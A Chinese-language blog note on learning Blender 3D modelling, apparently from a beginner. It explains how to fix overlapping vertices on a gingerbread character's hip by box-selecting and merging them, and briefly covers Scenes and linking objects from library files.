今天开始学习动画人物的制作,于是从网上找到了姜饼小人的动画教程(点此看教程,在youtube上一个叫做dizilstudios制作的教程)。按照作者的步骤学着做:做好了头,身体之后,臀部的方块要按S,G变形成对角线,然后对整体添加Subsurf的修改器,最后Set Smooth。为了美观可以对material 的Shaders中的Spec和Hard进行调整,不要让小人反射太多的光,不要像金属一样。
可是我发现第一步中小人的臀部光滑就产生问题了,因为我总是得到下图:



后来在网上找到了疯子林网友,给我做了很详细很详细的解释,特别感谢他。主要问题是在上图中,第一步在按了B选择Vertices的时候,我们想象的话应该可以选择到前后两个点,但是对于这个臀部的已经经过变形的顶点已经发生了改变,其实那里有很多点集中在一起。你可以试试点击其他的正规Cube的顶点,那里只有一个。所以此时的问题就是如何把这些多余的重合的顶点合并。
我们可以这样解决:进入Edit模式,选择臀部左侧前边的顶点(千万不要选后面的,或者可以关掉透视模式),而且一定要用B来选择,因为那个点看起来只有一个,但其实是很多点的,如果单纯只用右键选择点的话,那么只能随机的选到其中之一哦。。。接下来按了W,选择Merge,然后选择Center,这样,就把顶点重合的所有点都合并了。问题便解决了。
注意:上面问题的出现并不是因为使用了Subsurf,而是因为使用了变形工具,所以电脑计算出的多余点,这些点并不是没有用的。试着耐心的用右键点击臀部的顶点,随机的你会看到你选择了不同的点,然后按G拉伸,看看那后面究竟重合了多少个点,哈哈。对于规则的Cube是没有这个问题的。


 
39.如何调用库中的物体?Scene的优点?
一个Blender文件中可能会有很多的Scene,这个优点就是每个Scene互不干扰,可以单独处理。而且将来还可以保存成库文件(其实还是Blender文件),在其他的文件中可以调用出来,方法是:在Preference大面板中,File->Append or Link,然后选择库中的各个元件就可以了。